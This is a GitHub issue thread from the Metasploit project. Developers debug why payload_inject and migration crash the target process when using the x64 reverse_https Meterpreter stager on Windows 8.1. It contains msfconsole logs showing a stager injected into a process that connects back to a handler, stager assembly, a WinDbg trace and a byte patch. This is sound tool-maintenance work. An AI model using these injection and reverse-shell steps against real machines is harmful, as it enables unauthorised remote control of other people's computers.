search

rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.75k stars 13.89k forks source link

payload_inject crashes host process (e.g. notepad) on win 8.1 when payload is x64/reverse_https #4845

Closed rwhitcroft closed 9 years ago

rwhitcroft commented 9 years ago

Fully patched Windows 8.1, msfupdate ran earlier today.

To reproduce (I hope):

  1. Start handler with windows/x64/meterpreter/reverse_https
  2. Run meterp.exe, get session, all good so far
  3. Run payload_inject on the session with same payload/host/port (using existing handler)
  4. Watch session half-connect and "notepad.exe has stopped working" dialog

Note that everything works fine when the payload is windows/x64/meterpreter/reverse_tcp. Also, 'run migrate -p ' from within the original windows/x64/meterpreter/reverse_https session causes the target process to crash the same way, but again, migration works fine with x64/reverse_tcp.

Here's the info from the crash dialog if it helps:

Problem signature: Problem Event Name: APPCRASH Application Name: notepad.exe Application Version: 6.3.9600.16384 Application Timestamp: 5215ef3b Fault Module Name: msvcrt.dll Fault Module Version: 7.0.9600.16384 Fault Module Timestamp: 5215f944 Exception Code: c0000005 Exception Offset: 0000000000001a5d OS Version: 6.3.9600.2.0.0.256.4 Locale ID: 1033 Additional Information 1: af5a Additional Information 2: af5af6482106c7f39e7462c9bab2f1e3 Additional Information 3: 0bfd Additional Information 4: 0bfd7798df9f9044af18ef9150fb007f

OJ commented 9 years ago

I've just tried this on an unpatched Windows 8.1 x64 and it's working fine. Could be that patched systems are not vuln. Will update and get back to you.

bcook-r7 commented 9 years ago

Thanks for the update OJ.

OJ commented 9 years ago

When talking to @rwhitcroft about this on IRC it also appeared that migration wasn't working for him.

I've got a fully patched Windows 8.1 box now, here's what happens when I migrate:

msf exploit(handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8443/
[*] Starting the payload handler...
[*] 10.1.10.40:52589 Request received for /CxGZ...
[*] 10.1.10.40:52589 Staging connection for target /CxGZ received...
[*] Meterpreter session 2 opened (10.1.10.40:8443 -> 10.1.10.40:52589) at 2015-02-28 09:03:01 +1000

meterpreter > run migrate -n explorer.exe
[*] Current server process: revhttps8443-x64.exe (112)
[+] Migrating to 2648
[+] Successfully migrated to process 
meterpreter > getpid
Current pid: 2648
meterpreter > getuid
Server username: WIN-8RDFKU33NLH\OJ Reeves

Works just fine. However, the payload_inject is definitely not as happy:

msf post(payload_inject) > show options

Module options (post/windows/manage/payload_inject):

   Name     Current Setting                        Required  Description
   ----     ---------------                        --------  -----------
   AMOUNT   1                                      no        Select the amount of shells you want to spawn.
   HANDLER  true                                   no        Start an Exploit Multi Handler to receive the connection
   LHOST    10.1.10.40                             yes       IP of host that will receive the connection from the payload.
   LPORT    8443                                   no        Port for Payload to connect to.
   OPTIONS                                         no        Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.
   PAYLOAD  windows/x64/meterpreter/reverse_https  no        Windows Payload to inject into memory of a process.
   PID                                             no        Process Identifier to inject of process to inject payload.
   SESSION  2                                      yes       The session to run this module on.

msf post(payload_inject) > run

[*] Running module against WIN-8RDFKU33NLH
[*] Starting exploit multi handler
[*] Performing Architecture Check
[*] Started HTTPS reverse handler on https://0.0.0.0:8443/
[*] Starting the payload handler...
[*] Process found checking Architecture
[+] Process is the same architecture as the payload
[*] Injecting Windows x64 Meterpreter, Windows x64 Reverse HTTPS Stager into process ID 2996
[*] Opening process 2996
[*] Generating payload
[*] Allocating memory in procees 2996
[*] Allocated memory at address 0x92bfbb0000, for 588 byte stager
[*] Writing the stager into memory...
[*] 10.1.10.40:60459 Request received for /Ymd2...
[*] 10.1.10.40:60459 Staging connection for target /Ymd2 received...
[+] Successfully injected payload in to process: 2996
[*] Post module execution completed
[*] Meterpreter session 3 opened (10.1.10.40:8443 -> 10.1.10.40:60459) at 2015-02-28 09:06:08 +1000

Appears to run fine, but the session is dead:

msf post(payload_inject) > sessions

Active sessions
===============

  Id  Type                   Information                                  Connection
  --  ----                   -----------                                  ----------
  2   meterpreter x64/win64  WIN-8RDFKU33NLH\OJ Reeves @ WIN-8RDFKU33NLH  10.1.10.40:8443 -> 10.1.10.40:52589 (172.16.240.128)
  3   meterpreter x64/win64                                               10.1.10.40:8443 -> 10.1.10.40:60459 (10.1.10.40)

and on the target: injectcrash

OJ commented 9 years ago

The same thing happens with multi_meterpreter_inject.

OJ commented 9 years ago

When the chosen payload is reverse_tcp instead of reverse_https things work as expected. So it would appear that something is wrong with the https payload.

I hope to have more time to look at this later today @bcook-r7, but it won't be for another 12 hours or so.

bcook-r7 commented 9 years ago

Good info! I had a go at reproducing it too (it took a while to get things patched - churn churn churn went the VM) but I was able to get things working successfully, I think:

msf post(payload_inject) > set pid 5208
pid => 5208
msf post(payload_inject) > set handler true
handler => true
msf post(payload_inject) > run

[*] Running module against WINDOWS
[*] Starting exploit multi handler
[*] Performing Architecture Check
[*] Started HTTPS reverse handler on https://0.0.0.0:4433/
[*] Starting the payload handler...
[*] Process found checking Architecture
[-] The PID x86_64 and Payload x86 architectures are different.
[*] Post module execution completed
msf post(payload_inject) >
[*] blah:51422 Request received for /ri8I...
[*] blah:51422 Staging connection for target /ri8I received...
[*] Meterpreter session 2 opened (blah:4433 -> blah:51422) at 2015-02-27 21:20:35 -0600

msf post(payload_inject) > sessions -i

Active sessions
===============

  Id  Type                   Information              Connection
  --  ----                   -----------              ----------
  1   meterpreter x64/win64  windows\bcook @ WINDOWS  blah:8443 -> blah:50874 (blah)
  2   meterpreter x86/win32  windows\bcook @ WINDOWS  blah:4433 -> blah:51422 (blah)

msf post(payload_inject) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : WINDOWS
OS              : Windows 8.1 (Build 9600).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter     : x86/win32

The difference is that I'm testing out a local upgrade to LibreSSL 2.1.4 (which isn't quite ready for release yet - soon!), and you may not be surprised that there could be a few memory management bugs in that area :P. So, I suspect its either I'm doing something wrong reproducing it, or its SSL library-related.

OJ commented 9 years ago

What's interesting here is that you're running an x86 payload, not x64.

Iiiiinteresting..

OJ commented 9 years ago

Even with x86 on mine it still breaks.

bcook-r7 commented 9 years ago

I tried x64, it works fine as well:

msf post(payload_inject) > run

[*] Running module against WINDOWS
[*] Starting exploit multi handler
[*] Performing Architecture Check
[*] Started HTTPS reverse handler on https://0.0.0.0:4433/
[*] Starting the payload handler...
[*] Process found checking Architecture
[+] Process is the same architecture as the payload
[*] Injecting Windows x64 Meterpreter, Windows x64 Reverse HTTPS Stager into process ID 5644
[*] Opening process 5644
[*] Generating payload
[*] Allocating memory in procees 5644
[*] Allocated memory at address 0x28daf40000, for 591 byte stager
[*] Writing the stager into memory...
[+] Successfully injected payload in to process: 5644
[*] Post module execution completed
msf post(payload_inject) >
[*] 192.168.22.49:60730 Request received for /nAlA...
[*] 192.168.22.49:60730 Staging connection for target /nAlA received...
[*] Meterpreter session 3 opened (blah:4433 -> blah:60730) at 2015-02-28 08:12:29 -0600

msf post(payload_inject) > sessions -i

Active sessions
===============

  Id  Type                   Information              Connection
  --  ----                   -----------              ----------
  2   meterpreter x64/win64  windows\bcook @ WINDOWS  blah:8443 -> blah:60599 (blah)
  3   meterpreter x64/win64                           blah:4433 -> blah:60730 (blah)
msf post(payload_inject) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : WINDOWS
OS              : Windows 8 (Build 9200).
Architecture    : x64
System Language : en_US
Meterpreter     : x64/win64
bcook-r7 commented 9 years ago

Oh, I messed that one up - yep, session 3 (the new one) was indeed dead!

bcook-r7 commented 9 years ago

D'oh, I actually forgot to rebuild the x64 payload with the new SSL library. I'll update this once I get that working.

bcook-r7 commented 9 years ago

If I specify a different PID for payload_inject, its happy. But if I use the same process as the existing session, it is not. I can inject multiple sessions into a secondary process without issue.

bcook-r7 commented 9 years ago

Testing this again today, the crash consistently happens in the stager shellcode. Specifically when it calls InternetReadFile:

download_more:
  mov rcx, rsi           ; HINTERNET hFile
  mov rdx, rbx           ; LPVOID lpBuffer
  mov r8, 8192           ; DWORD dwNumberOfBytesToRead
  mov r9, rdi            ; LPDWORD lpdwNumberOfBytesRead
  mov r10, 0xE2899612    ; hash( "wininet.dll", "InternetReadFile" )
  call rbp
  add rsp, 32            ; clean reserverd space
hdm commented 9 years ago

Snagging this since I am looking at #4896 as well

hdm commented 9 years ago

Talking with @rwhitcroft about this, the crash is happening in a memcpy() due to what looks like an invalid destination pointer. Maybe our lpBuffer is getting corrupted?

rwhitcroft commented 9 years ago

Not sure if this is helpful - I've reached the end of my limited windbg abilities.

(cf4.e78): Access violation - code c0000005 (!!! second chance !!!)
msvcrt!memcpy+0x220:
00007ffa`5fed1a5d f30f7f40f0      movdqu  xmmword ptr [rax-10h],xmm0 ds:000000e0`d1833f79=????????????????????????????????

0:001> k
Child-SP          RetAddr           Call Site
00000070`cf87ef68 00007ffa`57045307 msvcrt!memcpy+0x220
00000070`cf87ef70 00007ffa`57044d0c wininet!ICSecureSocket::DecryptData+0xa7
00000070`cf87f0d0 00007ffa`57044bbf wininet!ICSecureSocket::Receive_Fsm+0x17a
00000070`cf87f1d0 00007ffa`56fcc4c9 wininet!CFsm_SecureReceive::RunSM+0x37
00000070`cf87f200 00007ffa`56fccdee wininet!CFsm::Run+0x219
00000070`cf87f320 00007ffa`5704343e wininet!DoFsm+0x7a
00000070`cf87f360 00007ffa`5704fa27 wininet!ICSecureSocket::Receive+0xce
00000070`cf87f400 00007ffa`56fe9971 wininet!HTTP_REQUEST_HANDLE_OBJECT::ReadDataSocket_Fsm+0x47a
00000070`cf87f490 00007ffa`56fcc4c9 wininet!CFsm_ReadDataSocket::RunSM+0x2d
00000070`cf87f4c0 00007ffa`56fe97cc wininet!CFsm::Run+0x219
00000070`cf87f5e0 00007ffa`56fe94a1 wininet!HTTP_REQUEST_HANDLE_OBJECT::HttpReadData_Fsm+0x2fc
00000070`cf87f660 00007ffa`56fe9464 wininet!CFsm_HttpReadData::RunSM+0x2d
00000070`cf87f690 00007ffa`5702ce14 wininet!CFsm::Run+0x4a2
00000070`cf87f7b0 00007ffa`56fe9f1b wininet!ReadFileEx_Fsm+0x512
00000070`cf87f850 00007ffa`56fea4a1 wininet!CFsm::Run+0x408
00000070`cf87f970 00007ffa`56fe8c68 wininet!InternalInternetReadFile+0x5dc
00000070`cf87fac0 00000070`cdd40226 wininet!InternetReadFile+0xc8
00000070`cf87fb80 00000000`00cc000c 0x00000070`cdd40226
00000070`cf87fb88 000000e0`d1832000 0xcc000c
00000070`cf87fb90 00000070`cdd4000a 0x000000e0`d1832000
00000070`cf87fb98 00000070`cdd40226 0x00000070`cdd4000a
00000070`cf87fba0 00000070`00000000 0x00000070`cdd40226
00000070`cf87fba8 00000070`d1830000 0x00000070`00000000
00000070`cf87fbb0 00000070`d1830000 0x00000070`d1830000
00000070`cf87fbb8 00000000`00400000 0x00000070`d1830000
00000070`cf87fbc0 00000000`00000040 0x400000
00000070`cf87fbc8 00000070`cdd40200 0x40
00000070`cf87fbd0 00007ffa`5e52169f 0x00000070`cdd40200
00000070`cf87fbd8 00000070`cdd4000a KERNEL32!GetThreadLocaleStub+0x3
00000070`cf87fbe0 00000000`00cc000c 0x00000070`cdd4000a
00000070`cf87fbe8 00000070`cdd401ab 0xcc000c
00000070`cf87fbf0 00000000`00000000 0x00000070`cdd401ab

0:001> u
msvcrt!memcpy+0x220:
00007ffa`5fed1a5d f30f7f40f0      movdqu  xmmword ptr [rax-10h],xmm0
00007ffa`5fed1a62 4803c8          add     rcx,rax
00007ffa`5fed1a65 4d8bc8          mov     r9,r8
00007ffa`5fed1a68 49c1e905        shr     r9,5
00007ffa`5fed1a6c 4981f900200000  cmp     r9,2000h
00007ffa`5fed1a73 7740            ja      msvcrt!memcpy+0x2b2 (00007ffa`5fed1ab5)
00007ffa`5fed1a75 4983e01f        and     r8,1Fh
00007ffa`5fed1a79 f30f6f440af0    movdqu  xmm0,xmmword ptr [rdx+rcx-10h]

0:001> r xmm0
xmm0=2.35051e-026       131080 -9.6369e+036 2.56195e-029

0:001> r 
rax=000000e0d1833f89 rbx=0000000000001f89 rcx=fffffffffffffff7
rdx=ffffff8ffc5dfee4 rsi=00000070cde07420 rdi=0000000000000000
rip=00007ffa5fed1a5d rsp=00000070cf87ef68 rbp=00000070cf87f070
 r8=0000000000001f80  r9=00000070cde06c8c r10=000000e0d1832000
r11=000000e0d1832000 r12=00000070cde06c8c r13=00000070cde06c90
r14=00000070cddf56b0 r15=0000000000001f89
iopl=0         nv up ei ng nz ac pe cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010291
msvcrt!memcpy+0x220:
00007ffa`5fed1a5d f30f7f40f0      movdqu  xmmword ptr [rax-10h],xmm0 ds:000000e0`d1833f79=????????????????????????????????

0:001> db rax-10h
000000e0`d1833f79  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000000e0`d1833f89  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000000e0`d1833f99  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000000e0`d1833fa9  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000000e0`d1833fb9  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000000e0`d1833fc9  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000000e0`d1833fd9  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000000e0`d1833fe9  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
hdm commented 9 years ago

Verified that this still occurs with the latest stagers in master (no surprise given that the x64 reverse_https stager hasn't been touched yet).

rwhitcroft commented 9 years ago

This seems to fix the issue, but haven't tested it thoroughly.

Replace mov rax, [rdi] (\x48\x8b\x07) with mov ax, word ptr [edi] (\x66\x8b\x07)

I recall bytes_read being way too big, resulting in a bogus lpBuffer on the second call to InternetReadFile().